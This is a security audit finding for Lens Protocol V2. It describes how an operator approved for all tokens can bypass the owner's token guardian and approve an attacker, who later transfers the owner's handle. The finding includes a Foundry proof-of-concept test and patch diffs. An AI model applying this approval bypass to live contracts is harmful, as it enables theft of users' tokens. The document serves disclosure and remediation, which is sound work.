Lens Protocol V2 - Limbooo's results

Lines of code

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/namespaces/LensHandles.sol#L141 https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/base/LensProfiles.sol#L114

Vulnerability details

From Lens v2 docs:

- Token Guardian: Protection mechanism for the tokens held by an address, which restricts transfers and approvals when enabled.

- TokenGuardian pattern introduced on both Profiles and Handles to supply additional protection of social assets

Impact

In the LensHandles contract, a TOKEN GUARDIAN mechanism is used to control approvals and transfers of tokens. However, there is an oversight in the approve(address to, uint256 tokenId) function, where it allows an operator who was previously approved for all tokens (via setApprovalForAll) to continue approving tokens even when the TOKEN GUARDIAN is enabled for any specific tokenId owned by the owner. This can lead to a situation where an unauthorized operator gains control over the owner's tokens without requiring any further approval from the token owner.

Proof of Concept

Risk Scenario

1. Owner approves OperatorA for all tokens while the TOKEN GUARDIAN is disabled.
2. The owner then enables the TOKEN GUARDIAN, meaning that all functionality is disabled for their tokens.
3. However, OperatorA can still execute approvals for specific tokenId owned by the owner, even after the TOKEN GUARDIAN is enabled for the owner.
4. OperatorA while his TOKEN GUARDIAN is disabled, maliciously approves another address, OperatorB, to transfer or manage the Owner tokens by approving them one by one using approve.
5. Now, OperatorB has the authority to control the owner's tokens, waiting for the TOKEN GUARDIAN of the owner to be disabled.
6. The owner decides to remove OperatorA's approval for all tokens while the TOKEN GUARDIAN is enabled.
7. Subsequently, the owner disables the TOKEN GUARDIAN, assuming that no one can operate on his tokens now.
8. However, OperatorB, who was previously approved by OperatorA, has already been granted access to control the owner's tokens.
9. Taking advantage of this situation, OperatorB maliciously transfers or manages one of the owner's tokens without the need for any further approval.
10. As a result, the owner loses control over his token, leading to unauthorized token transfers.

In this scenario, the combination of improper handling of approvals with the TOKEN GUARDIAN feature exposes the owner to significant security risks. It is crucial for Lens Protocol V2 and owners of LensHandle tokens to address this issue promptly to ensure the protection of assets and maintain a robust security posture.

Test Case

---

add this case to test/namespaces/LensHandlesTest.t.sol, and execute the test via forge test --mt testApproveHandle_WhileTokenOwnerGuardianEnabled.

    function testApproveHandle_WhileTokenOwnerGuardianEnabled(address owner, address operator, address attacker) public {
        vm.assume(owner != address(0));
        vm.assume(owner.code.length == 0); // isEOA()
        vm.assume(operator != address(0));
        vm.assume(operator.code.length == 0); // isEOA()
        vm.assume(attacker != address(0));

        vm.assume(!_isLensHubProxyAdmin(owner));

        string memory handle = 'pk';

        // mint
        vm.prank(lensHandles.OWNER());
        uint256 handleId = lensHandles.mintHandle(owner, handle);

        assertTrue(lensHandles.exists(handleId));
        assertEq(lensHandles.ownerOf(handleId), address(owner));

        _effectivelyDisableGuardian(address(lensHandles), owner);

        // Approve operator for all 
        vm.prank(owner);
        lensHandles.setApprovalForAll(operator, true);
        assertTrue(lensHandles.isApprovedForAll(owner, operator));

        // Enable guardian
        vm.prank(owner);
        lensHandles.enableTokenGuardian();

        // owner can not approve token while his tokens guardian enabled!
        vm.prank(owner);
        vm.expectRevert(HandlesErrors.GuardianEnabled.selector);
        lensHandles.approve(operator, handleId);

        // disable operator tokens guardian
        _effectivelyDisableGuardian(address(lensHandles), operator);

        // operator approve owner token to attacker while owner tokens guardian enabled!
        vm.prank(operator);
        lensHandles.approve(attacker, handleId);
        assertEq(lensHandles.getApproved(handleId), attacker);

        // owner stop operator approval for all, then he disable guardian
        vm.prank(owner);
        lensHandles.setApprovalForAll(operator, false);
        assertFalse(lensHandles.isApprovedForAll(owner, operator));

        _effectivelyDisableGuardian(address(lensHandles), owner);

        // attacker transfer owner token to his address
        vm.prank(attacker);
        lensHandles.transferFrom(owner, attacker, handleId);

        assertEq(lensHandles.ownerOf(handleId), attacker);
    }

Tools Used

Manual Analysis, Foundry

Recommended Mitigation Steps

To mitigate this risk, it is essential to update the approve function in the LensHandles contract. The function should consider the tokenId being approved, ensuring that the operator's actions align with the current TOKEN GUARDIAN status for the specific tokenId's owner, not the operator.

diff --git a/contracts/namespaces/LensHandles.sol b/contracts/namespaces/LensHandles.sol
index a1b58f7..2033654 100644
--- a/contracts/namespaces/LensHandles.sol
+++ b/contracts/namespaces/LensHandles.sol
@@ -138,7 +138,7 @@ contract LensHandles is ERC721, ImmutableOwnable, ILensHandles {

     function approve(address to, uint256 tokenId) public override(IERC721, ERC721) {
         // We allow removing approvals even if the wallet has the token guardian enabled
-        if (to != address(0) && _hasTokenGuardianEnabled(msg.sender)) {
+        if (to != address(0) && _hasTokenGuardianEnabled(ownerOf(tokenId))) {
             revert HandlesErrors.GuardianEnabled();
         }
         super.approve(to, tokenId);

Applying the same mitigation as suggested for LensHandles to the LensProfiles contract is a prudent step to ensure consistent protection of assets and maintain a robust security posture across the Lens Protocol V2.

Here's the recommended mitigation for LensProfiles:

diff --git a/contracts/base/LensProfiles.sol b/contracts/base/LensProfiles.sol
index 04fc1c8..9ed0573 100644
--- a/contracts/base/LensProfiles.sol
+++ b/contracts/base/LensProfiles.sol
@@ -111,7 +111,7 @@ abstract contract LensProfiles is LensBaseERC721, ERC2981CollectionRoyalties, IL

     function approve(address to, uint256 tokenId) public override(LensBaseERC721, IERC721) {
         // We allow removing approvals even if the wallet has the token guardian enabled
-        if (to != address(0) && _hasTokenGuardianEnabled(msg.sender)) {
+        if (to != address(0) && _hasTokenGuardianEnabled(ownerOf(tokenId))) {
             revert Errors.GuardianEnabled();
         }
         super.approve(to, tokenId);

Assessed type

Invalid Validation